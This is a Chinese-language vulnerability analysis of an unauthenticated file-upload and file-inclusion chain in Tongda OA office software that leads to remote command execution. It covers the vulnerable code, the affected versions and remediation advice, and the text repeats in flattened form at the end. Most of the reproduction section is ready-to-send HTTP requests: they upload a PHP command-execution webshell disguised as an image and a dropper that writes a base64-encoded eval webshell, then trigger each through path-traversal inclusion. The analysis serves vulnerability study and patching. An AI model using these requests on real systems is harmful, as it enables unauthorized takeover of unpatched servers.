通达OA文件上传&文件包含导致RCE浅析
字数 1092 2025-08-25 22:58:20

通达OA文件上传&文件包含导致RCE漏洞分析

漏洞概述

通达OA是由北京通达信科科技有限公司开发的一款办公系统。该漏洞允许攻击者在未授权的情况下上传图片木马文件,并通过精心构造的请求进行文件包含,最终实现远程命令执行(RCE)。攻击者无需登录认证即可完成整个攻击过程。

影响版本

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013版
  • 2013增强版

漏洞分析

1. 文件上传漏洞

存在漏洞的上传功能文件位于:webroot\ispirit\im\upload.php

关键绕过点

  1. 认证绕过

    • 通过传递参数"P"或参数P不为空,可以绕过身份认证
    • 关键代码:
      $P = $_POST['P'];
      if (isset($P) || $P != '') {
          ob_start();
          include_once 'inc/session.php';
          session_id($P);
          session_start();
          session_write_close();
      } else {
          include_once './auth.php';
      }
      
  2. 上传条件

    • 需要传递DEST_UID参数且不为空,且不为0的值
    • 关键代码:
      if ($DEST_UID != '' && !td_verify_ids($ids)) {
          $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
          echo json_encode(data2utf8($dataBack));
          exit;
      }
      
  3. 文件上传处理

    • 上传函数位于inc/utility_file.php的1321行
    • 会对文件名进行URL解码和检查
    • 关键检查函数is_uploadable()会检查文件后缀是否为php

绕过限制的方法

  1. 上传以.php.为后缀的webshell文件(Windows环境下)
  2. 上传图片木马文件,配合文件包含漏洞实现RCE

2. 文件包含漏洞

存在漏洞的文件位于:webroot\ispirit\interface\gateway.php

关键绕过点

  1. 认证绕过

    • 不传递参数P即可绕过前期检查
    • 关键代码:
      if ($P != '') {
          if (preg_match('/[^a-z0-9;]+/i', $P)) {
              echo _('非法参数');
              exit;
          }
          session_id($P);
          session_start();
          session_write_close();
          if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
              echo _('RELOGIN');
              exit;
          }
      }
      
  2. 文件包含条件

    • 通过json格式传递url参数
    • url参数值需要包含general/ispirit/module/中的一个
    • 关键代码:
      if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
          include_once $url;
      }
      

漏洞复现

环境搭建

  1. 下载通达OA安装包:
    • 链接: https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg
    • 提取码: ousi
  2. 直接运行exe文件进行安装
  3. 确保本地80端口未被占用

1. 命令执行复现

文件上传

构造上传请求包:

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command = $_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c " . $command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--

文件包含执行命令

构造包含请求包:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

json={"url":"/general/../../attach/im/2003/354900984.jpg"}&cmd=whoami

2. GetShell复现

上传webshell

构造上传请求包:

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.174.159:80
Content-Length: 602
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$fp = fopen('404.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--

触发文件包含写入webshell

构造包含请求包:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.174.159
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

json={"url":"/general/../../attach/im/2003/1153189608.jpg"}

连接webshell

使用中国菜刀等工具连接写入的404.php文件:

<?php eval($_POST['cmd']);?>

漏洞修复建议

  1. 及时更新官方发布的安全补丁
  2. 对上传文件进行更严格的过滤和检查
  3. 限制文件包含功能的路径访问范围
  4. 加强身份认证机制,避免绕过

总结

该漏洞组合了文件上传和文件包含两个漏洞点,通过精心构造的请求可以在未授权的情况下实现远程命令执行。攻击者可以上传恶意文件并通过文件包含功能执行这些文件,最终获取服务器控制权限。建议受影响的用户尽快升级到最新版本或应用官方补丁。

通达OA文件上传&文件包含导致RCE漏洞分析 漏洞概述 通达OA是由北京通达信科科技有限公司开发的一款办公系统。该漏洞允许攻击者在未授权的情况下上传图片木马文件,并通过精心构造的请求进行文件包含,最终实现远程命令执行(RCE)。攻击者无需登录认证即可完成整个攻击过程。 影响版本 V11版 2017版 2016版 2015版 2013版 2013增强版 漏洞分析 1. 文件上传漏洞 存在漏洞的上传功能文件位于: webroot\ispirit\im\upload.php 关键绕过点 认证绕过 : 通过传递参数"P"或参数P不为空,可以绕过身份认证 关键代码: 上传条件 : 需要传递DEST_ UID参数且不为空,且不为0的值 关键代码: 文件上传处理 : 上传函数位于 inc/utility_file.php 的1321行 会对文件名进行URL解码和检查 关键检查函数 is_uploadable() 会检查文件后缀是否为php 绕过限制的方法 上传以 .php. 为后缀的webshell文件(Windows环境下) 上传图片木马文件,配合文件包含漏洞实现RCE 2. 文件包含漏洞 存在漏洞的文件位于: webroot\ispirit\interface\gateway.php 关键绕过点 认证绕过 : 不传递参数P即可绕过前期检查 关键代码: 文件包含条件 : 通过json格式传递url参数 url参数值需要包含 general/ 、 ispirit/ 或 module/ 中的一个 关键代码: 漏洞复现 环境搭建 下载通达OA安装包: 链接: https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg 提取码: ousi 直接运行exe文件进行安装 确保本地80端口未被占用 1. 命令执行复现 文件上传 构造上传请求包: 文件包含执行命令 构造包含请求包: 2. GetShell复现 上传webshell 构造上传请求包: 触发文件包含写入webshell 构造包含请求包: 连接webshell 使用中国菜刀等工具连接写入的 404.php 文件: 漏洞修复建议 及时更新官方发布的安全补丁 对上传文件进行更严格的过滤和检查 限制文件包含功能的路径访问范围 加强身份认证机制,避免绕过 总结 该漏洞组合了文件上传和文件包含两个漏洞点,通过精心构造的请求可以在未授权的情况下实现远程命令执行。攻击者可以上传恶意文件并通过文件包含功能执行这些文件,最终获取服务器控制权限。建议受影响的用户尽快升级到最新版本或应用官方补丁。